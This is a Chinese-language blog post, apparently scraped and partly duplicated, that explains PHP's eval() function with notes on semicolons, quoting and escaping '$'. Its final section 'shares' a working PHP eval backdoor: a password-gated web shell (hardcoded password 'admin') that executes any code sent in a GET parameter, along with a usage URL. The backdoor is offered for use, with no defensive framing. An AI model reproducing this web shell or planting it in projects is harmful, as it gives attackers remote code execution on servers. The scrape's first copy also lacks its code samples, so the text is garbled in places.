PHP eval函数使用介绍
2013-12-08 00:00
537 查看
代码:
上边代码等同于下边的代码:
echo"hello world";
在浏览器中都输出:hello world
运用eval()要注意几点:
1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)
2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。
代码:
因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:
3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。
命令式字符串是指:字符串中包括echo、print之类的命令的时候。
如果参数只有一个变量则可以不用。例如:
分享个php eval后门程序
要求必须支持eval函数
使用方法 http://url/test.php?pwd=admin&action=eval&a=phpinfo();
eval("echo'hello world';");
上边代码等同于下边的代码:
echo"hello world";
在浏览器中都输出:hello world
运用eval()要注意几点:
1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)
2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。
代码:
$a=100; eval("echo$a;");
因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:
$a=100; eval("echo\$a;")
3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。
命令式字符串是指:字符串中包括echo、print之类的命令的时候。
如果参数只有一个变量则可以不用。例如:
$func =<<<FUNC function test(){ echo "test eval function"; } FUNC; eval($func); test();
分享个php eval后门程序
要求必须支持eval函数
使用方法 http://url/test.php?pwd=admin&action=eval&a=phpinfo();
<?php $passwd="admin";if($_GET['pwd']!=$passwd)exit; if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);} ?>
相关文章推荐
- PHP eval函数使用介绍
- PHP eval函数使用介绍
- PHP eval函数使用介绍
- PHP中PHP dirname() 函数与basename() 函数的使用方法介绍
- php中eval函数用法介绍
- PHP管理内存函数 memory_get_usage()使用介绍
- JavaScript中的eval()函数使用介绍
- 一个不错的PHP缓存类介绍和PHP缓存函数介绍以及使用
- 『PHP』PHP截断函数mb_substr()使用介绍
- PHP中strip_tags() 函数的使用方法和介绍,去除字符串中的HTML标签等
- PHP持久连接mysql_pconnect()函数使用介绍
- PHP循环函数使用介绍之PHP基础入门教程
- php中的filesystem文件系统函数介绍及使用示例
- php中有关字符串的4个函数substr、strrchr、strstr、ereg介绍和使用例子
- php数组函数序列 之shuffle()和array_rand() 随机函数使用介绍
- JavaScript中的eval()函数使用介绍
- PHP json_encode() 函数介绍以及使用
- PHP持久连接mysql_pconnect()函数使用介绍
- PHP使用eval()函数的注意事项
- PHP字符串长度计算 - strlen()函数使用介绍